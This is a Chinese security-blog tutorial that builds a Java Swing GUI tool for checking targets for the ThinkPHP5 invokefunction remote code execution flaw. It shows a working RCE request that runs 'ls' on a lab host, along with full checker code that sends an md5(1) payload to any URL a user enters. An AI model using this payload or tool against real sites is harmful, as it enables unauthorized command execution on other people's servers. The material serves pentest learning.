【java安全】java编写可视化 exp测试工具

admin 2023年1月7日13:04:54安全开发评论6 views3990字阅读13分18秒阅读模式

【java安全】java编写可视化exp测试工具


大家好又是俺,暗月大徒弟,跟暗月大师傅苦学了半年,保持天天学习,顺便做点记录什么的。最近跟着月师傅学习了java编写exp的知识,写了一些简单的http请求脚本,但觉得不怎么好使,写成gui界面操作比较方便一些,随手学习了swing开发,弄个简单安全测试工具。

1界面设计

先上代码 代码里面有注释

package exp;
import javax.swing.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;

public class demo2 {
public static void main(String[] args) throws Exception{
//设置和创建窗体 填写标题
JFrame frame = new JFrame("暗月大徒弟 thinkphp5 rce 师承暗月");
//设置位置和大小
frame.setBounds(500,500,500,500);

//清空布局管理器
frame.setLayout(null);
//创建按钮
JButton button = new JButton("确定");
//创建文本
JTextField jTextField = new JTextField();
//创建文本域
JTextArea jTextArea = new JTextArea();
//设置自动换行
jTextArea.setLineWrap(true);
//设置位置大小
jTextArea.setBounds(10,100,440,320);
button.setBounds(350,10,100,50);
//创建网址标签
JLabel jLabel = new JLabel("网址:");
//创建信息标签
JLabel mJlbel = new JLabel("信息:");
//各个标签的位置
jLabel.setBounds(10,10,150,50);
mJlbel.setBounds(10,50,150,50);
jTextField.setBounds(80,10,270,50);
//将组件全部添加到框体内
frame.add(button);
frame.add(jTextField);
frame.add(jLabel);
frame.add(mJlbel);
frame.add(jTextArea);
// frame.setSize(500,450);
frame.setVisible(true);//设置可视化
//设置窗体关闭时,自动退出程序
frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
//设置按钮监听事件 单击时候操
button.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
String text = jTextField.getText(); //获取文本内容
jTextArea.setText("");
try {
jTextArea.setText(HttpGet(text)); //将http求得结果添加到文本域内
} catch (Exception ex) {
ex.printStackTrace();
}

}
});

}
public static String HttpGet(String url) throws Exception{
String content=null;
return content;
}
}

main主函数 里面创建窗体和创建按钮 文本框、文本域 、标签、和按钮等组件的创建和布局。编译如图

【java安全】java编写可视化 exp测试工具

逐渐有那个味道了。接着将exploit这个函数里面的功能实现即可。这里选择thinphp5的rce漏洞作为测试对象。

2测试过程

首先在pom.xml 添加 http-request

        <dependency>
<groupId>com.github.kevinsawicki</groupId>
<artifactId>http-request</artifactId>
<version>5.6</version>
</dependency>

使用vulfoucs创建一个漏洞场景再进行漏洞语句测试 存在漏洞

http://192.168.0.100:53705/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

【java安全】java编写可视化 exp测试工具

上最终代码

package exp;



import com.github.kevinsawicki.http.HttpRequest;

import javax.swing.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;


public class demo2 {
public static void main(String[] args) throws Exception{
//设置和创建窗体 填写标题
JFrame frame = new JFrame("暗月大徒弟 thinkphp5 rce 师承暗月");
//设置位置和大小
frame.setBounds(500,500,500,500);

//清空布局管理器
frame.setLayout(null);
//创建按钮
JButton button = new JButton("确定");
//创建文本
JTextField jTextField = new JTextField();
//创建文本域
JTextArea jTextArea = new JTextArea();
//设置自动换行
jTextArea.setLineWrap(true);
//设置位置大小
jTextArea.setBounds(10,100,440,320);
button.setBounds(350,10,100,50);
//创建网址标签
JLabel jLabel = new JLabel("网址:");
//创建信息标签
JLabel mJlbel = new JLabel("信息:");
//各个标签的位置
jLabel.setBounds(10,10,150,50);
mJlbel.setBounds(10,50,150,50);
jTextField.setBounds(80,10,270,50);
//将组件全部添加到框体内
frame.add(button);
frame.add(jTextField);
frame.add(jLabel);
frame.add(mJlbel);
frame.add(jTextArea);
// frame.setSize(500,450);
frame.setVisible(true);//设置可视化
//设置窗体关闭时,自动退出程序
frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
//设置按钮监听事件 单击时候操
button.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
String text = jTextField.getText(); //获取文本内容
jTextArea.setText("");
try {
jTextArea.setText(result(text)); //将http求得结果添加到文本域内
} catch (Exception ex) {
ex.printStackTrace();
}

}
});

}

public static String result(String url){
String payload = "/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=1";
try {
if (vulTest(url,payload)==true){
return "存在漏洞 n"+"测试语句: "+payload;
}
} catch (Exception e) {
e.printStackTrace();
}
return "不存在漏洞";
}

public static Boolean vulTest(String url,String payload) throws Exception{
String checkstr = "c4ca4238a0b923820dcc509a6f75849b"; //md5 检测值
HttpRequest req = HttpRequest.get(url+payload);
if( req.body().contains(checkstr)){
return true;

}
return false;
}
}

代码看起来 很简单 就是一个url请求 响应过来的网页是否存在md5(1)的值 c4ca4238a0b923820dcc509a6f75849b 如果存在则存在漏洞。在把结果返回在文本域中。

如图

【java安全】java编写可视化 exp测试工具

3打包jar

选择项目  -> 工件  ->从模块创建jar

【java安全】java编写可视化 exp测试工具

选择resources这个路径

改个好听的名

【java安全】java编写可视化 exp测试工具

构建工件即可

【java安全】java编写可视化 exp测试工具

copy一个新的jar包 再进行测试 完全毛病

【java安全】java编写可视化 exp测试工具

这样一个简单的可视化exp完成了(轻松的很)。下一篇写可视化exp批量小工具 欢迎关注。

最后要下载软件 在公众号回复 月师傅牛逼 下载此工具


4关注公众号

长期更新渗透测试、WEB安全、代码审计、红蓝对抗等安全技术


【java安全】java编写可视化 exp测试工具


原文始发于微信公众号(moonsec):【java安全】java编写可视化 exp测试工具

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月7日13:04:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  【java安全】java编写可视化 exp测试工具 https://cn-sec.com/archives/1503644.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: